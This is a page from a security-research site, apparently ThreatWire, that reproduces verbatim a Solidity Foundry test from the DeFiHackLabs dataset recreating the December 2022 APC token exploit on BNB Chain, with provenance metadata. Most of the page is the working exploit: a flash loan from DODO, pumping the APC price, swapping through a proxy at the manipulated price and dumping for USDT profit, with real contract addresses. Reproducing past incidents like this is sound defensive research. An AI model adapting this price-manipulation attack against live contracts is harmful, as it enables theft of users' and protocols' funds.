Public reproduction file

src/test/2022-12/APC_exp.sol

Public reproduction file for dataset entry - APC.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-12/APC_exp.sol67 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/BlockSecTeam/status/1598262002010378241
9// @TX
10// https://bscscan.com/tx/0xbcaecea2044101c80f186ce5327bec796cd9e054f0c240ddce93e2aead337370 first attack
11// https://bscscan.com/tx/0xf2d4559aeb945fb8e4304da5320ce6a2a96415aa70286715c9fcaf5dbd9d7ed2 second attack
12 
13interface TransparentUpgradeableProxy {
14    function swap(address a1, address a2, uint256 amount) external;
15}
16 
17contract ContractTest is Test {
18    IERC20 APC = IERC20(0x2AA504586d6CaB3C59Fa629f74c586d78b93A025);
19    IERC20 MUSD = IERC20(0x473C33C55bE10bB53D81fe45173fcc444143a13e);
20    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
21    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
22    TransparentUpgradeableProxy transSwap = TransparentUpgradeableProxy(0x5a88114F02bfFb04a9A13a776f592547B3080237);
23    address dodo = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;
24 
25    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
26 
27    function setUp() public {
28        cheats.createSelectFork("bsc", 23_527_906);
29    }
30 
31    function testExploit() public {
32        APC.approve(address(Router), type(uint256).max);
33        APC.approve(address(transSwap), type(uint256).max);
34        USDT.approve(address(Router), type(uint256).max);
35        MUSD.approve(address(transSwap), type(uint256).max);
36        DVM(dodo).flashLoan(0, 500_000 * 1e18, address(this), new bytes(1));
37 
38        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
39    }
40 
41    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public {
42        USDTToAPC(); // Pump APC token price
43        transSwap.swap(address(APC), address(MUSD), 100_000 * 1e18); // APC swap to MUSD with incorrect price, get more MUSD
44        APCToUSDT(); // Dump APC token price
45        transSwap.swap(address(MUSD), address(APC), MUSD.balanceOf(address(this))); // MUSD swap to APC with normal price
46        APCToUSDT(); // sell the obtained of APC
47        USDT.transfer(dodo, 500_000 * 1e18);
48    }
49 
50    function USDTToAPC() internal {
51        address[] memory path = new address[](2);
52        path[0] = address(USDT);
53        path[1] = address(APC);
54        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
55            USDT.balanceOf(address(this)), 0, path, address(this), block.timestamp
56        );
57    }
58 
59    function APCToUSDT() internal {
60        address[] memory path = new address[](2);
61        path[0] = address(APC);
62        path[1] = address(USDT);
63        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
64            APC.balanceOf(address(this)), 0, path, address(this), block.timestamp
65        );
66    }
67}

Analysis

Dataset entry

Public Foundry test for “- APC” (2022-12-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2022-12/AES_exp.solSame month in the dataset · 69 lines
src/test/2022-12/BBOX_exp.solSame month in the dataset · 70 lines
src/test/2022-12/BGLD_exp.solSame month in the dataset · 113 lines
src/test/2022-12/Defrost_exp.solSame month in the dataset · 62 lines
src/test/2022-12/DFS_exp.solSame month in the dataset · 104 lines
src/test/2022-12/ElasticSwap_exp.solSame month in the dataset · 95 lines
src/test/2022-12/FPR_exp.solSame month in the dataset · 74 lines
src/test/2022-12/JAY_exp.solSame month in the dataset · 120 lines
src/test/2022-12/Lodestar_exp.solSame month in the dataset · 263 lines
src/test/2022-12/MEVbot_0x28d9_exp.solSame month in the dataset · 44 lines
src/test/2022-12/MUMUG_exp.solSame month in the dataset · 80 lines
src/test/2022-12/Nmbplatform_exp.solSame month in the dataset · 229 lines
src/test/2022-12/NovaExchange_exp.solSame month in the dataset · 67 lines
src/test/2022-12/Overnight_exp.solSame month in the dataset · 285 lines
src/test/2022-12/RFB_exp.solSame month in the dataset · 77 lines
src/test/2022-12/Rubic_exp.solSame month in the dataset · 137 lines
src/test/2022-12/TIFI_exp.solSame month in the dataset · 67 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name: APC
Path: src/test/2022-12/APC_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: daae3fef03c4e445c1369dad1938ca2bb804ca8d
Language: Solidity
Size: 68 lines
Date: 2022-12-01
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2022-12/APC_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob daae3fef03c4e445c1369dad1938ca2bb804ca8d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.